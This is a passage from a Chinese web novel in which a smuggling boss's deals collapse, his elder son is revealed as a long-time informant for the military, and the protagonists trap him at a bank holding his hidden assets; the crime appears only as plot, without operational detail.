场面混乱,人扒着人,朱安华趁机逃走。 幸好他提前做了安排,逃走的过程还算顺利。 两个小弟追上朱安华,护送他离开。 上车后,朱安华悬着的心才慢慢放下。 小弟抱怨道:“他们是什么意思,居然认为我们想取代他们?龙星岗是龙星岗,长峡是长峡,我们怎么插手?华哥,怎么办,买不到货,以后咱们又要被欺负了。” 朱安华看向窗外。 龙星岗的街道与长峡的旧街很像。 长峡新建起来的部分就和龙星岗不像了,龙星岗止步不前多年。 朱安华缓缓勾唇。 小弟从后视镜中看到朱安华的反应,吓了一跳。 他们折了人,还没买到货,老大怎么还有心情笑啊?? 酒店会议室,池明远和曼德处理完剩下的人后,拧眉走到一起。 池明远道:“他果然有其他心思,准备得很充分。” “幸好你的人提前发现了,”曼德说,“这可是一笔大生意,不能再出错了。” 池明远看向曼德,“我就说我们人最好不要出现在长峡,过去一定会出事。” 曼德耸肩,“知道了,让黑子过来就行了,我现在联系他。” 池明远松口气。 黑子是外号,本名叫陈志明。 因为人长得格外黑,刚出来混时,别人就叫他黑子,说他是黑人。 后来他慢慢混出头了,人家就叫他黑哥。 从黑子到黑哥,他用了好几年。 陈志明的态度比朱安华谦虚得多。 两伙人顺利签下合同。 陈志明赔笑道:“幸好池总照顾,我们被华子那帮人欺负太久了,这下好了,看他们还敢说什么。” 池明远按住合同。 陈志明诧异道:“还有问题?” 池明远观察陈志明片刻,缓缓收手,“这么多货,你能吃得下?” 陈志明笑道:“您还真是火眼金睛。” 他谄媚地靠近池明远,“坦白说,我是想给您搭个桥。” 池明远扬眉,“哦?” “我虽然吃不下太多货,但其他人能吃得下,国内管得太严了,他们不方便联系,我来给您搭桥,您客户多,我也能小赚一点儿。而且我想过了,咱们不能局限于一种货物,还是那种货赚钱,那销量可就大了,您说呢?” 这些货都是池昭不愿意做的生意。 池明远早有想法。 宁蓝国的市场太小,还是华国好。 池明远露出笑容,“你挺懂事。” 陈志明说:“还得您愿意带我玩儿才行。” * 生意做成了,曼德拿到分红。 他就喜欢和池明远做生意,分红拿到手软,比他的工资高得多。 与池明远告别后,曼德慢悠悠回到临时住处。 他拿起话筒,本想拨通号码,想了想,还是放弃。 现在行事要小心谨慎。 敲门声忽然响起。 曼德奇怪地走过去。 真是怪了,他明明派人在门口把守,还会有人敲门? 曼德打开门。 与此同时,后背被匕首抵住。 有人在他耳边轻声说道:“要麻烦你走一趟了。” * 池希还在房间里等池明远的消息。 这几天他心跳格外快,总是不安,好像有大事要发生。 可对他来说,再大的事又能有多大? 桑白玉端着晚饭走进来,“听红英姐姐说,你又没吃饭。” 池希没什么胃口,“我不想吃,明天再说吧。” 桑白玉问:“因为你父亲吗?” 池希没作声。 桑白玉放下晚饭,在池希旁边坐下,“如果我们成功了,他可能会被抓起来,甚至会送命。” 池希咬住下唇,强忍着才没露馅。 但他所有情绪方面的变化,桑白玉都能感知到。 桑白玉说:“是挺矛盾的,他是你的亲人,对你很好,但又是坏人,池希,辛苦了。” 这一刹那,池希的泪水控制不住地喷涌而出。 他一边抹眼泪一边可怜巴巴地说:“我不是哭啊,我是男人,坚强的男人,绝对不是哭。” 桑白玉递给他手帕。 池希用手帕盖住眼睛,“我可是深明大义的,你们要抓他就抓吧,谁让他做错事了,而且……” 池希偷偷看了眼小灵通。 池明远到现在都没有给他回消息。 他放弃他了。 想到这一点,池希更加控制不住自己。 桑白玉轻声叹气,“走吧。” 池希话都说不清楚了,“读哪?” “是去哪儿!”桑白玉道,“你和他谈谈,他能安慰你。” 桑白玉找苏蓝移借来车钥匙。 池希虽然不知道要去哪里,但还是乖巧地跟着。 只是桑白玉开车着实有些猛,池希哭着哭着就没工夫哭了。 他扶着把手,紧张地盯着路面,“前面有车,后面也有车,左面来车了!当心!” 桑白玉:“……” 大晚上的哪来那么多车。 桑白玉安慰道:“你还不放心我吗?我七八岁就会开车了。” 池希怒吼,“骗子!你七八岁的时候家里买得起车吗?!” 他家才买得起!! 桑白玉:“……” 关乎性命时池希的脑子也挺好用的哦。 桑白玉把车开到一条胡同内。 从外观看,胡同很寻常,看不出异常。 起码池希看不出来。 桑白玉刚靠近,就嗅到了十几人的气息,分布在胡同的各个角落。 他们很懂得隐藏自己,只要不是她来,其他人都不会发现。 桑白玉镇定自若地下车,带着池希继续往前走。 池希抓着桑白玉的衣 袖,磕磕巴巴道:“小玉啊,你是不是太讨厌我了,想卖了我?我老实了,我改,以后我不缠着你了还不行,你留我一条命。” 桑白玉:“……” 她克制道:“我是想让你开心些。” 池希睁着童真的大眼睛问:“你真的认为这样我会开心吗??” 他怎么觉得他马上要被大卸八块了?! 桑白玉找到纸条上记下的地址。 门口无人把守,看起来也是普通的房子。 她没有敲门,直接推开门走了进去。 池希:“……” 小玉进别人家里都不敲门了。 看来是真的想把他灭口!! 他虽然是他爸的儿子,可他是站在她们这边的啊!! 池希举起手,“我、我也反对罪恶。” 桑白玉看傻子似的瞥了眼池希,将他推进屋里。 低矮的平房内部别有千秋。 进门是厨房,两边皆有卧室,装潢得十分温馨,而且电冰箱、空调齐全,还有电视机。 现在长峡的日子是好过了些,但也没那么好过,空调这东西还是蛮贵的,不是每家每户都用得起的。 这么一个破平房,家电居然还挺全? 桑白玉推开小屋的门,和里面的人打招呼,“我把他带过来了。” 她走过去,低声道:“他也蛮可怜的,帮着我们对付他爸爸,他们毕竟是父子。” 说完,桑白玉顿了两秒,又乖巧道:“你需要我安慰吗?” 毕竟池明远也是池昭的爸爸呢! 池昭:“……” 他摘下墨镜,瞥了桑白玉一眼,“不需要。” “那就好!” 池希一进来就看到池昭。 他这几日心慌得不行,终于看到亲人,心情别提有多激动。 可激动没一会儿,他又开始哭了,“你,你,你……” 桑白玉:“?” 看到亲哥也不至于激动成这样吧? 他们可是同父异母的。 池希:“为什么你比我先知道我哥的住址!!” 桑白玉:“……” 哦,冲着她来的。 桑白玉一本正经地解释:“你如果和池昭联系,会被池明远发现的,我就不同了,我可以用其他号码。” 池希恍然大悟,“是这样吗?” “我可是第一时间就把你带过来了,就怕你一个人太难过。” 池希十分感动,“还是小玉对我好!” 池昭:“……” 他这个弟弟,哪天被桑白玉卖了都不知道。 池昭看向池希。 他的眼睛今天不太舒服,看得不算清楚,不过他不需要看得太清楚,也能知道池希站在哪里,甚至能想象到池希现在的表情。 池希从不隐藏自己的情绪,他的一切都是外放的,包括对池昭的喜欢。 坦白说,池昭实在没办法喜欢上这个弟弟,尤其是看到他们一家三口相亲相爱的画面,他心里更是恨。 再坦白一步,在得知池明远竟然对池希的母亲下手时,池昭竟有几分幸灾乐祸。 池希终于能明白,这个男人是没有感情的,不管是对方是谁,他都不会手下留情。 不过幸灾乐祸是短暂的,池昭还是帮忙把孟简藏起来,然后把她安全送到娘家。 他和孟简的关系虽然一般,但他不希望孟简重蹈他母亲的覆辙。 桑白玉提出让他们见面时,池昭其实很犹豫。 他就算见了池希,也不知道该和他说些什么,他们不是感情要好的亲兄弟。 起码在池昭看来,他们的关系还不如他和边斌。 然而池希没有这些烦恼。 他紧张地跑到池昭身边,好像有池昭在,就有了主心骨。 池希问道:“哥,你们做的生意,真的很糟糕?真的是在走私违禁品?爸会被抓起来吗?” 池昭略一思忖,见池希已经是大人模样,没必要再隐瞒,便承认道:“是的。” “那你……”池希为难地看向桑白玉,压低声音问道,“你做的也是这种生意吗?小玉是不是要把你一起抓起来?你……你能不能别抵抗了,小玉很可怕的。” 他的语调自然而然地亲近池昭。 池昭原本的担忧都不存在了,只要他和池希见面,只要他不冷着脸,他们就能像正常的兄弟一样对话。 池昭忍不住多看了池希几眼。 他对池希的印象只有:贪玩、不学无术、笨。 不学无术还好说,笨这一点,实在无法忍受。 现在看来,池希是池家最聪明的。 不该问的就不问,该花的钱就花。 不必投入精力,被清算的时候也不会被连累太多,最多变成一个没有那么多钱的公子哥。 瘦死的骆驼比马大,池明远真的倒台了,池希的日子也不会差到哪里去。 池昭正色道:“你可能误会了。” 池希:“?” 池昭说:“我从头到尾,都不是池明远的人。” 第65章 池昭在发现母亲的离开另有隐情后,与池明远大吵一架。 池明远一口咬定姜玉玲是离家出走,还说姜玉玲在外面有男人,背叛了自己。 池昭当然不相信,他对母亲的印象虽然极其模糊,但也知道,池明远的嘴是信不得的。 他亲眼见到池明远带着身份不同的女人回家,与她们一夜缠绵。 后来池明远与孟简结婚,两人生下池希。 就算有了妻子,池明远也没断了外面那些女人,他身边总是围绕着不同的人。 最开始池昭以为这只是一个狗血的故事,姜玉玲与池明远在华国相恋,两人一起到宁蓝打拼,日子渐渐好转,姜玉玲却发现池明远在外面有其他女人,一气之下离家出走。 但当池昭长大一些,忍不住调查母亲的离去后,却发现一些不同寻常的迹象。 譬如,他发现自己联系不到母亲的家人。 姥姥、姥爷,舅舅、姨妈…… 通通联系不到。 再比如,他发现母亲的日记,上面模糊地写了一些内容,包括她敏锐的嗅觉。 池明远对姜玉玲的一切都不上心,他没有发现。 日记中还多次提到,她不能坐以待毙。 池昭这才意识到,姜玉玲的离开没那么简单。 他开始四处寻找母亲的下落。 池昭说:“我一直与华国军方联系,我的一举一动他们都知道,我配合他们阻止池明远想做的一些事,也不得不让池明远做成一部分事,可以说,池明远这些年做的事,那边都一清二楚。” 池希的嘴巴慢慢张大,收不回去了。 他哥是…… 卧底? 间谍?? 他是华国的人?! 池希呆愣地坐了下来,好半天没缓过劲儿来。 这几天发生的事情太多,他的脑容量都快不够用了。 池昭怎么会是华国的人呢? 桑白玉对此不太意外。 她和池昭虽然从未把话说明白,但她心里早就猜到了。 从始至终,池昭的表现都不像是普通的商人,而且他在她面前似乎没有隐瞒过。 池昭对池希说道:“池明远做的事情,必须受到法律的制裁,我也会继续寻找我母亲的下落。我希望你能保护好自己,也保护好你的母亲,不要让她也被池明远迫害。” “我妈……” 池昭瞥了眼桑白玉,“你总跟着她,不担心阿姨出事吗?阿姨和我虽然不算亲近,但这些年她也没薄待过我,你有的东西,她总会为我准备一份,我不希望她出事。” 池希怔怔地看着池昭。 良久,他才下定决心似的说道:“我知道了,哥,我去找我妈,我要保护好她。” 池昭看着池希真诚的双眼,心到底是软了一下。 他放轻声音,道:“以前我对这个家没有任何好感,连带着对你也没好感,我想事情结束后,我们可以重新认识彼此,我们是兄弟 ,现在是,将来也会是。” 池希的眼睛已经开始冒泡泡。 天知道他多想和池昭亲近,可这些年,他连和池昭说话都要鼓足勇气! 池希扑进池昭怀里,很没骨气地又哭了。 桑白玉站在窗前望天。 这个池希……池昭把他卖了,他还得帮池昭数钱! 池昭轻轻拍了拍池希的肩膀,“还有一件事,我必须告诉你,我们接下来的行动,马上就要开始。” 池希擦干眼泪,茫然地看着池昭。 池昭说:“他名下所有不合法的产业,都要取缔,你……你的首要任务是照顾好自己,还有,将来他的财产,也需要我们来处理。” * 陈志明的确是个做生意的料,他知道池明远想要什么,货还没见到影儿,他就先把钱送来了。 池明远看着堆在客厅的现金,嘴角扬起,一直以来的不安终于淡了些。 只要有钱在,没什么事是解决不了的。 即便是她来了。 就算她真的来了又如何?他能给她这辈子都花不光的钱,她何苦为了别人放弃荣华富贵和他作对? 池明远越想越轻松。 助理走了过来,汇报陈志明的最新动向。 池明远赞许道:“他还真是个会来事的,我们早就该和他合作,什么事都不会有。一开始是我选错了人,居然看上了华子,我是有眼无珠了。” 助理笑容谄媚,“这次的生意很顺利,您可以放心地回去了。” “是该回去了,”池明远道,“留在别的地方,我总是不安心,这几日睡觉都没睡好,你去收拾东西,我们准备回去吧。哦对了,书房里的东西,我自己收拾,你不用管。” 这是池明远的习惯,一切重要的文件他都不允许其他人经手。 池明远在心里计算着这次的生意能赚多少钱。 其实卖给陈志明的货物并不多,起码没达到池明远的预期。 但陈志明说得对,他们之间需要一个桥梁,需要纽带,陈志明可以做这个纽带。 最让池明远心动的是药物生意,那才是真正赚钱的。 只要吃了药,上了瘾,所有普通人都会来购买,这和武器不一样。 以前池昭总是拦着他做这些生意,如果没有池昭,他的家底恐怕还要再翻两倍。 现在终于能越过池昭把事情做成了。 池明远想到池昭,心中有些不安。 他问助理,“池昭最近几天老实吗?” 助理答道:“监视少爷的人说,他被您调走后没再离开,一直在忙那边的生意。” 池明远说:“他没动作就好,他如果在龙星岗,我办事都不放心。这孩子太犟,他怎么就不明白,我的这些家业,将来都是要留给他们的?” 助理道:“少爷还年轻。” “呵,我像他这么大的时候,已经知道做什么事才是对的了。” 池明远说完,便想去书房收拾他那些必须随身携带的文件。 有部分文件是和宁蓝国的大佬签的,必要时刻可以保命。 他还没走几步,别墅内的电话便响了起来。 助理走过去接起电话,听到话筒中传来的声音,大吃一惊,“是小少爷。” 池明远拧眉。 前几天池希给他打了电话,接通后又什么都不说,直接挂了。 池明远走到电话旁边,拿起话筒。 他下意识看向窗外,他要确认不是有人故意引诱他来接电话,然后取他的性命。 不过他显然是杞人忧天了。 话筒里传来池希的哭声,“爸,我再也不敢了,你来帮帮我,他们好可怕,他们要杀了我,这个人要杀了我!” 池明远拧眉,“是谁要杀你?你在哪儿?” 池希惊恐道:“我不知道,他们叫他华哥,我什么都不知道,我一睁眼就被带到这里了,你救救我!” 很快,换了个人接电话,话筒里传来熟悉的声音,“池总,我是真心和你做生意的,你为何非要和黑子做生意?你知不知道,这样会搞得我很被动。” 池明远不动声色道:“玉石店那几个,果然是你的人。” “谈不上,”华哥语调轻松,“不过你这个小儿子,是真的很蠢,天天追着女生跑,人家又不喜欢他,他还追着做什么?他和你真是一点儿都不像。” 池明远问:“你想要什么?” “我?我想要的东西你不知道吗?我当然是要武器!”华哥声音发了狠,“如果还想让你儿子活命,就停止和黑子的交易,我们重新谈,如果不想……那就随便你了!” 他说完便挂断电话。 助理紧张地看着池明远,“咱们是不是赶紧找人去把小少爷捞出来?” 池明远却慢慢坐到沙发上,拧眉深思,“好像不太对劲。” 助理愣住,“您说什么?” “这个华子,不太对劲,”池明远道,“如果真的只是想和我们做生意,最开始为什么会搞那么一出?我担心这是陷阱。” 助理说:“可是池希的确在他的手里,如果咱们不去,他真的动手杀人怎么办?这些人心狠手辣,什么事都做得出来。” 池明远缓缓摇头,“不能冒险。” 助理惊讶地看着池明远。 池希可是池明远最疼爱的儿子,什么叫不能冒险? 池明远已经下定决心,“事情就交给曼德处理吧,他会处理好的,我们按照原定计划撤走,陈志明那边要盯紧了,后续的生意还要靠他。” 助理一时无言。 饶是池明远给他的报酬丰厚,现在他也有些担忧。 担忧有朝一日,他会不会也被池明远放弃。 连池希都能成为弃子,更何况他们这些普通人。 池明远没再理会助理,他拿起话筒,给曼德拨去电话。 奇怪的是,电话一直没有接通。 池明远又给曼德的几个亲信打去电话,无一例外,全部无人接听。 池明远的心脏怦怦直跳。 出事了,一定是出事了,曼德不会玩儿失踪! 助理见状,忍不住说道:“您派人去找找曼德将军吧。” 池明远却瞪着眼睛说:“他背叛我们了?!” “……您说什么?” 池明远焦躁道:“他和谁是一伙儿的?他是不是背叛我了?我刚来龙星岗,他就搞失踪,难道他也想让我死?这些人都想让我死,都不是好人!池希……池希是故意的,他是自愿去长峡的!我早就和他说过不要离我太远,他非不听!他们都是想让我死!快,收拾东西,我们走!” 助理无言地看着池明远。 电话再一次响起。 池明远凝视着响个不停的座机,良久才看向助理。 助理便走过去接电话。 他脸色难看地看向池明远,“是少爷,他要和您通话。” 池明远犹豫道:“池昭?” 助理:“是的。” “他为何一定要与我通话?”池明远眉头越拧越紧,“他几乎不会给我打电话,他最近和曼德有联系吗?他们是不是联手了?我就知道曼德一直背着我在搞事情,他有很多次都表现出异常了!” 助理无奈道:“您要和少爷通话吗?” 池明远沉着脸走过去,拿起话筒。 池昭平静的声音传来,“你最近是不是得罪人了?” 池明远狐疑地听着,过了许久,确认没发现异常后才问:“为何这 样说?” 池昭已经习惯他的疑神疑鬼,冷静道:“有人来封了几个产业,是宁蓝国方面派人来的,你和曼德将军不是好友吗?我打不通他的电话,你去联系他,摆平这件事。他在宁蓝国的地位,这点儿小事对他来说不算什么。” 宁蓝国方面的人脉一直是曼德在打理。 池明远只把他当作自己的“打手”。 现在打手不在了,事情就不妙了。 池明远放下电话,更加疑心曼德的动机。 他不可能无缘无故失踪,是出什么事了? 不……池明远更愿意相信,他是想背叛自己。 他必须做最坏的打算。 曼德和池昭对他可能都有二心。 池明远迅速吩咐道:“你去查明白,到底有多少产业被查,查的人是谁。还有,尽快查mk曼德人在哪里,让他立刻来见我!” 池明远暂时没办法离开了。 他忧心忡忡地看着窗外。 附近都是他的人,是他亲自挑选出来的,可那又如何,连曼德都不靠谱。 池明远又把助理叫进来,“这些人最近与什么有联络,再去摸一摸,一旦有异样情况,立刻把人带走。” 助理微怔,“您是说外面的人?” 池明远不耐烦道:“还有其他人吗?” 助理:“……他们都是跟了您很多年的人,不会有问题的。” 池明远反问:“我和曼德难道不是多年的朋友?” “曼德将军可能遇到危险的事,没办法联系您,您该立刻去搭救才是……” 池明远冷笑,“也就你会相信,乖乖照我说的话去做,否则你也走人!” 助理:“……” 池明远没来得及回家。 不好的消息一个接一个传来,他名下一半产业都被封了。 池明远一直在打电话,找他曾经的关系。 但他在宁蓝国方面最大的关系就是曼德。 那些人无一例外都拒绝了他的请求,他们告诉他,证据很充分,没办法手下留情。 除了曼德,池明远也有结识其他人,他不可能把鸡蛋放在一个篮子里。 这些人倒是答应他帮忙,还主动提出和他保持做生意的关系,但是查明此事需要时间。 池明远心急如焚,根本等不了那么久。 他现在不关心他的产业,他更在乎曼德为什么失踪。 还有池昭,这些事他是否知情? 是巧合,还是他们合起伙来坑害他。 如果是在家里就罢了,怎么偏偏赶在他来龙星岗的时候。 池明远只要一想到长峡就在龙星岗隔壁就浑身不适。 好像已经有人举着镰刀砍向他。 傍晚,电话终于再次响起。 池明远迫不及待接起电话,打来电话的却不是他想要等的人。 助理快步走进来,“不好了,陈……” 他看向座机。 池明远奇怪地看了他一眼,注意力回到电话上。 陈志明的笑声传来,“池总,今天过得还顺利吗?” 池明远拧眉听着,并不开口说话。 这是他的一贯作风。 陈志明笑呵呵道:“您的货我们已经收到了,我真的很惊喜,你们居然把货物放在龙星岗,立刻就到了。不过也是我付钱太快,没办法,我这个人讲究诚信。” 池明远不动声色道:“怎么,是货物让你不满意?” “这倒没有,”陈志明说,“我只是想让一个人给你打个招呼。” 他和旁人说了几句话,话筒传来异响,接着便有人拿起话筒,对池明远说道:“池总,你怎么就不肯相信我?我是真心实意想和你做生意的。” 是朱安华的声音! 刹那间,池明远如坠深渊。 朱安华和陈志明是一伙的!他们根本就不是死对头! 不对,他们之间一定有仇恨,池明远事先调查过,但显然有利益将他们统一了! 池明远恍然意识到,朱安华不是玉石店背后的人。 他能和陈志明站在一起,说明他们背后有更强大的人调节他们! 是谁?! 池明远脑中冒出她的影子。 她来了。 也可能是华国的人来了。 他不是他们的对手。 池明远立刻放下电话,打回家里。 他的家是最安全的堡垒,他建造了炸弹也打不穿的避难所,避难所内的物资足够他生活几十年。 他得躲起来。 然而留在家的那些人却给了池明远一个不好的消息。 “最近几天总有人在附近转悠,但不确定对方的身份,我们没能抓到他们。” 果然是她来了。 池明远坐在办公桌前沉默。 助理不安地等待着。 良久,助理忍不住说道:“黑子那边可能出问题了,货……” 现在货还重要吗? 重要的是有人想要他的命! 助理问:“我们该怎么办?” 池明远再次看向窗外,“他们怎么样,最近有和不认识的人联系吗?” “他们绝对忠诚,请您放心。” 池明远起身,“家里也危险,现在看来,只能赌一把了,跟我走!” * 长峡街道上的轿车不多,池昭的车有点儿显眼。 他一直表现得很朴素,突然换上豪车,桑白玉都有些不适应。 池昭道:“别嫌弃了,我们必须尽快赶过去。” 桑白玉问:“你确定纸条代表的是这个意思?” 池昭不置可否,“我姥姥家就在那边。” 桑白玉抓着方小满上了车。 方小满现在不敢去见惠海铭,还是跟着桑白玉更安全些。 边斌和池希也在车上,两人现在都很安静。 桑白玉问:“你不是说没找到姥姥一家人吗?” “当时没找到,”池昭平静地叙述,“后来发现,他们都去世了。” “……去世?” “在同一天,同一时刻,全部死亡,至今未抓住凶手。” 桑白玉惊讶地看着池昭。 就连池希也忍不住回头看过来。 难怪池昭与他们都不亲近,他只要看到他们,心里就会充满仇恨吧? 池希含情脉脉,“哥……” 边斌手动把池希的头挪走,“请让我们活得舒服一些。” 过于肉麻了。 池昭说:“字条上的春宇368号,每个字代表一个含义,春城是我母亲的老家,也是我母亲和池明远一起生活过的地方。宇字是宇巷,是我姥姥家附近的一条小巷,那附近的368号是银行。” “池明远把银行的地址放进金属盒子里干嘛?打开盒子还怪麻烦的。” 池昭解释,“我想你们没有找到全部记录,应该会有银行存单之类的,我查到池明远名下的一部分财产不翼而飞,他还没到宁蓝时就已经攒了一笔不小的数目,还有很多小巧的古董,我想这些东西都存在那家银行里。” “池明远把存单藏了起来?还存了地址?他为什么要把地址写出来,我们找到怎么办?” 池昭摊手,“这一点我就不清楚了,不过他有记账的习惯,他会把每一笔账记得清清楚楚,这笔钱放在华国,他可能也不放心吧。我看过他的账本,的确会记录地址。” 桑白玉道:“最重要的是,他一定很在乎这笔钱,这笔钱肯定不是小数目。” 池昭说:“他在乎每一笔钱,不过从现在的情况看,银行里的东西,的确让他更在意。” “你们确定他会去银行取这笔钱?”方小满还是想不通,“他不去怎么办?还是说我们要一直等着?等到哪一天才是个头?” 边斌启动车子开始赶路。 春城离长峡有八百公里,开车过去也要几个小时,而且现在的路还没那么好走。 桑白玉瞥了眼池希,“池希,你得把小灵通交给我。” 池希乖乖地掏出小灵通。 池昭轻轻摇头。 他这弟弟,对桑白玉简直是言听计从。 将来肯定会吃亏。 桑白玉又对池昭说:“你的小灵通也拿来,你俩都姓池,我们得稍微提防点儿。” 池昭:“……” 在池希和方小满的注视下,池昭拿出一部小灵通。 桑白玉的手还是没收回去。 池昭:“……” 他又拿出另一台备用机。 桑白玉微笑,“如果让我发现你身上还有其他仪器,我真的会杀了你哦。” 池昭:“……” 他又摸出一个小型窃听器和录音设备,强调道:“这是我一直备着的,不是要窃 听我们谈话的内容,你们如果不相信,可以去问你大姐,让她联系军方。” 桑白玉说:“我相信,不过谁知道池明远会不会通过你们打探消息呢,万一你们头脑都不灵光,上当了,我们不就前功尽弃了?所以你们的小灵通都得交上来。” 池希无奈地看着亲哥。 以前他总觉得池昭无所不能,是他心目中的英雄。 现在看来,他亲哥很听桑白玉的话嘛。 唉,以后他可有苦头吃了。 兄弟俩的目光诡异地对到一起。 两人都怔住。 池希:“……” 池昭:“……” 他们怎么从对方的目光中看到了……同情?? 边斌、桑白玉、方小满轮流开车,他们没有休息的时间。 池希什么都没学,虽然能开车,开得却不好,没人放心他开夜车。 他颇有一种拖后腿的挫败感。 方小满安慰道:“你就别难过了,难过的应该是我,我到现在还是什么都不知道。” 池希说:“我也不知道啊。” “可这是应该的!”方小满的语气不容置疑,“你本来就笨!” 池希:“……” 桑白玉把小灵通收走了,不再担心池希被套话。 其实池昭被套话的可能性很低,但只收池希的小灵通显得他有点儿可怜,所以桑白玉顺便把池昭的小灵通收走了。 桑白玉解释道:“我原本和大姐商量,利用池希把池明远吸引过来。” 人总要有软肋,池希是池明远的亲儿子,应该有些希望吧? 可池明远根本不管池希。 他对长峡极为恐惧,宁可池希出事,也不会涉足长峡。 桑白玉一度被池明远搞得没了脾气,还好池昭及时传消息来,说池明远在华国还有财产。 “池明远不想管池希,但他视财如命,所以我们就想,能不能用这笔钱把他吸引过来。想让他过来取钱,就必须达成几个条件,首先,他的其他财产必须被限制,其次,他不能还有其他路可走。” 方小满认真听着。 “池明远现在最重要的生意就是和陈志明的,其实大姐他们早就和陈志明还有朱安华谈过了,他们两个可以说是都是大姐的人,不过都是为了利益,他们暂时休战,以后会怎么样,不好说。” 朱安华是明面上的那个人,池明远生性多疑,肯定会有所怀疑。 朱安华的暴露也是有意安排的,和朱安华联络的人是桑白玉。 所以他在逃跑时才能毫发无伤,这都是提前准备好的。 “没有朱安华,池明远能合作的对象就是陈志明,陈志明这个人不太靠谱,他是真的想牵线搭桥,做那些赚钱的生意,不过他也是个注重孝道的人,没办法放下自己的老母亲。陈志明答应和我们合作,我们也允诺了很多。” 方小满说:“所以这门生意原本就做不成?不管池明远怎么挑,挑中的都会是我们的人?” “是啊,”桑白玉说,“反正不合作就直接抓起来丢进监狱,他们的罪名可不少,他们还是很有眼力见的,合作非常积极。” 边斌:“……” 这还能不积极?? “这时候大姐以前收集的证据也派上用场了,虽然不能完全打击池明远的产业,但能一时困住他。”桑白玉说,“最最重要的人是曼德,曼德和池明远合作多年,而且曼德还是宁蓝方面的人,权力很大。幸好他不是个仔细的人,现在正在地下室里躺着呢。” 一天前,桑白玉找到惠海铭,希望她能放弃刺杀池明远。 惠海铭和苏蓝移原本已经做好同归于尽的准备,桑白玉建议他们去找曼德。 找曼德也是件危险的事,毕竟他地位还在。 不过曼德和池明远显然是两个极端,池明远极端小心,曼德极端自信。 桑白玉说:“总而言之,池明远现在谁都联系不到,他的性格一定会怀疑其中有诈,在这种关头,最有可能带着钱远走高飞。但是宁蓝那边的产业已经受限,要过一段时间才能结束调查,他能动的钱,就在华国,也是他一直惦记的钱。” 方小满问:“他回家怎么办?他家里应该也有钱吧。” “大姐和二哥已经过去了,”桑白玉叹气,“那就是最坏的打算了。” 池昭道:“不必担心,我早派了人过去,他的人一定汇报过,家附近有身份不明的可疑分子,他不敢回去。” 边斌小心翼翼问道:“难道他们这么了解池明远的性格是因为……” 桑白玉:“当然是池昭说的啦!他说池明远很怕死诶。” 边斌:“……” 池希偷偷看向池昭。 池昭感应到他的目光,说:“我一定要让他付出代价。” 池希低头,“我知道,都知道。” 他忍不住想,如果父亲和母亲现在仍然感情要好,他会如何选择。 可能还是不忍心让父亲离开吧。 池希有些庆幸。 幸好池明远和孟简闹翻了,让他的选择没那么艰难。 天蒙蒙亮,车终于开到春城宇巷368号。 经过一处废弃的宅子时,池昭低声说道:“资料里显示,这是我母亲的家。” 除了正在开车的边斌,醒着的只有桑白玉。 她看向车窗外还没来得及处理的废墟,又看向池昭。 “姜家在春城小有名气,”池昭不知是不是说给桑白玉听,“算是书香门第,我母亲也是科研人员。听说我舅舅喜欢收集古董,还有小姨,她是个医生。” 桑白玉拧眉。 这样的家庭配置放到今天,都算是大家族了。 而且是日子过得很不错的大家族。 “他们遇害时,家里值钱的东西都被翻走了,警方怀疑是盗贼随机作案。但唯独没见到我母亲的尸体,于是又开始怀疑我母亲。” 姜玉玲离开华国时,还是凶杀案的嫌疑人,只不过那会儿的检查比现在更松,案子还没传出去,姜玉玲已经离开。 至今为止,姜玉玲还是嫌疑人之一。 桑白玉问:“警方没有怀疑池明远吗?” 池昭冷笑道:“池明远根本没去姜家,一直以来,都是我母亲和家里人沟通。最开始姜家人听说我母亲找了个军人还很高兴,可慢慢地就不对劲了,我母亲开始频繁的夜不归宿,他们觉得这不正常,便开始阻止他们继续交往,可惜……” 桑白玉记得惠海铭也提起过姜玉玲。 惠海铭的战友被害,是因为一份重要资料。 桑白玉奇怪道:“夜不归宿?当年吗?姜家人都知道?” 池昭说:“似乎是我有一个舅舅也在部队里,而且职位很高,他应该和池明远见过面,比较了解他。或许是他看出池明远的本性了?” 桑白玉惊讶道:“你这个舅舅的职位有多高,有高到能拿到机密文件吗?” 池昭奇怪地看向桑白玉,“为什么这样问?” 桑白玉追问:“池明远有可能偷了你舅舅的文件吗?你好好想想。” 池昭拧眉。 这好像也不是完全不可能的。 他舅舅的职位相当高,肯定有机密文件经手。 池昭问:“你究竟想说什么?” 桑白玉压低声音,“我大姐和池明远曾经是战友,池明远偷了机密文件离开,我大姐和几个战友去追他,结果其他人都被池明远害死了,只有我大姐在他们的掩护下逃了出来。” 池昭怔住。 原来池明远接近姜玉玲……也是不怀好意。 姜玉玲被利用了。 池明远只是想接近舅舅?! 池昭一时无法相信。 母亲是故意的,还是也被骗了? 他心乱如麻,眼睛竟也开始模糊。 眼角痛得很,有些睁不开了。 桑白玉低声道:“你休息会儿,我盯着。” 池昭闭上眼睛,脑中一片混乱。 368号的银行依然在营业中。 这是家春城当地的银行,只有附近几个城市有。 池 昭提前联系过银行行长,拜托他们找出池明远曾经存放的东西。 可纸条上没有写明究竟存了什么,也不知道存在几号柜,银行不可能把每个柜子都打开让他们检查,他们只好先回车里等。 这一等就是一上午。 方小满出去买了午饭回来。 春城是个小城,物价极低。 她去饭店打包了几道菜,总共也没花多少钱。 倒是边斌挺心疼,“一直这样吃下去,我的工资都要吃完了。” “啊?”方小满说,“池昭就给你开这么点儿工资啊?” 边斌疑惑道:“你们很能赚钱吗?只是开玉石店,很赚钱?” 方小满扬眉,“啧,我们赚的钱,那可是……啧,我一个月的零花钱都比你一年的工资多。” 边斌:“……” 不干了,他也要去开玉石店! 边斌幽怨地看向池昭。 池昭:“……,回去再加一点儿。” 池希说:“你和她们比什么,有小玉在,玉石店怎么可能不赚钱,她最会挑赌石了,哪块石头里有好玉,她都知道。” 边斌心理平衡些了。 他殷勤地看向桑白玉,“你们店还需要人吗?我这个人很能干活,很适合你们哦。” 桑白玉:“能干活?” 边斌说:“而且我还很坏,绝对适合你们!” 桑白玉:“……” 坏人为什么适合他们?? 这一上午他们也没干等,池昭一直在接电话。 他的小灵通都在桑白玉手里,接电话还不太方便。 以至于桑白玉又一次接起电话时,对面直接笑了起来,“你是桑白玉吧?” 桑白玉很震惊。 她蹬着池昭,怀疑他泄密。 对方又说:“小惠和我提过你,你要保护好自己啊。” 桑白玉:“……” 池昭还真是他们的人。 可…… 等池昭挂断电话,桑白玉打量着池昭的身体,疑惑道:“就你这身体素质,也能去华国的部队?” 池昭:“……” 他的身体素质怎么了! 他打普通人绰绰有余好吗! …… 只不过他身边的都不是普通人而已。 桑白玉语重心长道:“你这样,我真担心你哪天死于非命,这样吧,你给我一百万,以后我来保护你。” 池希抢着举手,“我付钱,我愿意付钱!” 